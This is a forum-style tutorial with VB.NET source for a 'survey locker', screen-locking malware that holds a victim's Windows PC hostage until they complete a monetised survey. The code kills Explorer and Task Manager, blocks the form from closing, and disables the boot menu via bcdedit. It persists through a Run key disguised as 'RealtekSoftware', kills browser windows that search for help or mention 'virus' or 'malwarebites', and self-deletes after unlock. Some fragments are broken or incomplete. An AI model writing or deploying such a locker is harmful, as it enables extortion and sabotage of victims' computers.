Survey Locker Tutorial
Design:
The design of the locker wont really matter once the person is locked out, as all they will be thinking about is how to get there computer back. Here is an example of a design i did, but for this tutorial we will be doing a basic design. Design Example
Setup your windows form however you want, but it must include:
- Button x 1
- Textbox x 1
- link label x 1
Here is a quick example using that:
Spoiler (Click to View)
Note: Make sure the form border style is set to FixedSingle, and maximize and minimize are set to false.
Code:
First we are going to make some methods:
This will disable the desktop and minimize all applications.
Code
Public Sub ShowDesktop()
Dim objShell
objShell = CreateObject("shell.application")
objShell.MinimizeAll()
objShell = Nothing
End SubThis will disable system restore and boot menu.
Code
Public Sub disableF8()
Try
Shell("bcdedit /set {bootmgr} displaybootmenu no")
Catch ex As Exception
End Try
End Subthis will add itself to startup.
Code
Public Sub starting()
Try
My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue("RealtekSoftware", """" + Application.StartupPath + "\locker.exe""")
Catch ex As Exception
End Try
End SubThis will remove the startup
Code
Public Sub nostarting()
Try
csdcsd()
Catch ex As Exception
End Try
End Sub
Sub csdcsd()
My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run").DeleteValue("RealtekSoftware", """" + Application.StartupPath + "\locker.exe""")
End SubThis will auto delete the file from the computer after they unlock it:
Code
Public Sub autdestroy()
Process.Start("cmd.exe", "/C ping 1.1.1.1 -n 2 -w 3000 > Nul & Del " & Chr(34) + Application.ExecutablePath & Chr(34))
End
End SubNow that we have those methods out of the way, we need to disable them closing the form.
Code
Private Sub Form1_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
e.Cancel = True
End SubNow add a timer, and add this for the timer tick event:
Code
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim explorer() As Process = Process.GetProcessesByName("explorer")
'Get all proces called explorer
Dim tsk() As Process = Process.GetProcessesByName("taskmgr")
'Get all process called taskmgr
Try
For Each Process In explorer
Process.Kill()
Next
Catch ex As Exception
End Try
Try
For Each Process In tsk
Process.Kill()
Next
Catch ex As Exception
End Try
Try
Dim p As Process
For Each p In Process.GetProcessesByName(defaultbrowser)
Dim s = p.MainWindowTitle.ToString.ToLower
If s.Contains("facebook") Or s.Contains("youtube") Or s.Contains("virus") Or s.Contains("infected") Or s.Contains("search") Or s.Contains("windows") Or s.Contains("bing") Or s.Contains("nuova scheda") Or s.Contains("new tab") Or s.Contains("cerca") Or s.Contains("malwarebites") Or s.Contains("help") Or s.Contains("google") Then
p.Kill()
Me.Focus()
MsgBox("Internet surfing is disabled until you complete the survey or choose any other option to download the file with the product key.", MsgBoxStyle.Critical)
End If
Next
Catch ex As Exception
End Try
End SubNow, double click on the form1, and add this:
Code
ShowDesktop()
disableF8()
Timer1.Start()
starting()
Dim defBrows() As Process = Process.GetProcessesByName(defaultbrowser)
previous function)
Try
For Each process In defBrows
process.Kill()
Next
Catch ex As Exception
End Try
End SubAlso make sure you add this function to get there default browser
Code
Function defaultbrowser() As String
'This Function retrives the default browser name.
'Default browser will be used later.
defaultbrowser = My.Computer.Registry.GetValue("HKEY_CLASSES_ROOT\HTTP\shell\open\command", "", "Not Found")
'Reads a registry key containing default broswser path
Dim splitted() As String = Split(defaultbrowser, """")
'In the registry key the name is not clear so we need to split it
Return IO.Path.GetFileNameWithoutExtension(splitted(1))
'From the path it retrives only the name without exe.
'We need this later because of manipulating that process
End Functionnext, on button1 click:
Code
Here we have all function executed when the user
'Click the "Register Button"
Dim prd As String = TextBox1.Text()
'Declare a variable and assign to it what user typed in the 3 textbox
If prd = "Lx8G2u&kY3l" Then
Timer1.Enabled = False
'Disable the timer that was killing explorer and task manager
enableF8()
'Re-enable Advanced Boot menu
Process.Start("explorer")
nostarting()
autdestroy()
End
Else
MsgBox("Invalid Product Key", MsgBoxStyle.Critical)
'Prompt a message box saying "Invalid Product Key"
End If
End Subnow, last but not least, the link:
Code
Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
Process.Start("http://getmyfile.org/file/04tBJ")
End SubThanks for reading(copy - pasting) my tutorial!




![[Image: hkbWpXA.png]](https://i.imgur.com/hkbWpXA.png)
